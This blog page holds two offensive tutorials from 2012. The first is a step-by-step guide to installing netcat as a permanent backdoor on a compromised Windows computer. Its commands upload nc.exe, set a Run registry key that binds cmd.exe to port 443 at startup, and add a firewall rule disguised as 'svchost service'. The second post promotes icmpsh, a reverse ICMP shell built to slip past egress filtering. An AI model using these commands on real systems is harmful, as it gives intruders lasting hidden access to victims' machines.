Showing posts with label access. Show all posts
Showing posts with label access. Show all posts

Friday, June 22, 2012

Install netcat as permanent backdoor using metasploit


When an attacker successfully compromise a system they need to maintain the connection, that’s why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.
Are you sure netcat can be used as a backdoor? yes sure of course :-)
In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access. This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial.

Requirements :

1. NetCat
2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)

Step By Step :

1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I’m using java signed applet from my previous tutorial).
Using NetCat as a Backdoor in Windows
2. The next step you need to upload your NetCat.exe to victim computer by using following command :
Code:
upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32
 
upload nc.exe and place it in C:\windows\system32 on victim computer
Using NetCat as a backdoor in Windows system
When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here).
3. When upload process successful it will shown like this :
Using NetCat as a Backdoor for windows system
4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key “HKLM\software\microsoft\windows\currentversion\run“.
Enumerate the supplied registry key :
Code:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Using netcat as a backdoor in windows system
5. Then add our NetCat into start up process by running this command :
Code:
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
 
Successful set nc.
6. To check our backdoor autorun process and make sure it already added on autorun list :
Code:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
Using NetCat as a backdoor in windows system
7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 .
run shell command from meterpreter to access command prompt, and then run :
Code:
netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443
Using NetCat as a backdoor in windows system
8. When success add our firewall rule, let’s check and make sure our new rule has been added or not by using this command :
Code:
netsh firewall show portopening
Using NetCat as a backdoor in windows system
9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :
Code:
nc -v victim_ip_address port
Using NetCat as a backdoor in windows system
10. Let’s try our backdoor by restarting the victim computer by using reboot command from meterpreter orshutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.
Select AllCode:
meterpreter > reboot
 
or
 
C:\windows\system32>shutdown -r -t 00
If our netcat show up a console, then we’re successful inject a NetCat backdoor to victim computer.

Countermeasures :

1. When you have activated windows firewall, make sure you also have other personal firewall installed to detect inbound or outbound packet.
Hope it’s useful :-)

Reverse ICMP backdoor


Reverse icmp backdoor kit from Bernardo Damele A. G
Sometimes, network administrators make the penetration tester’s life harder. Some of them do use firewalls for what they are meant to, surprisingly!
Allowing traffic only onto known machines, ports and services (ingress filtering) and setting strong egress access control lists is one of these cases. In such scenarios when you have owned a machine part of the internal network or the DMZ (e.g. in a Citrix breakout engagement or similar), it is not always trivial to get a reverse shell over TCP, not to consider a bind shell.
However, what about UDP (commonly a DNS tunnel) or ICMP as the channel to get a reverse shell?
Bernardo: Last year a friend of mine coded a tool called icmpsh. It implements the reverse ICMP shell concept very well. The main advantage over the other open source tools is that it does not require administrative privileges to run onto the target machine.
I spent some time playing with the tool and was immediately impressed. It is clean, easy and portable. The slave (client) runs on the target machine, it is written in C and works on Windows only whereas the master (server) can run on any platform as it has been implemented in C and Perl by Nico. I ported it to Python too.
The reason for the Python port is that I wrapped it into sqlmap too. As of version 0.9 stable you can either establish the out-of-band connection via TCP with Metasploit or via ICMP with icmpsh – switch –os-pwn.
icmpsh Features
  • Open source software – primarily coded by Nico, forked by Bernardo Damele A. G .
  • Client/server architecture.
  • The master is portable across any platform that can run either C, Perl or Python code.
  • The target system has to be Windows because the slave runs on that platform only for now.
  • The user running the slave on the target system does not require administrative privileges.
Example
Running icmpsh slave on target system (192.168.136.129) by specifying the master IP 192.168.136.1

Running icmpsh master on attacker machine (192.168.136.1) and issuing two OS commands onto the target system (192.168.136.129)
Response packet from icmpsh slave containing output of issued command whoami
The forked tool can be found on Bernardo’s GitHub at https://github.com/inquisb/icmpsh.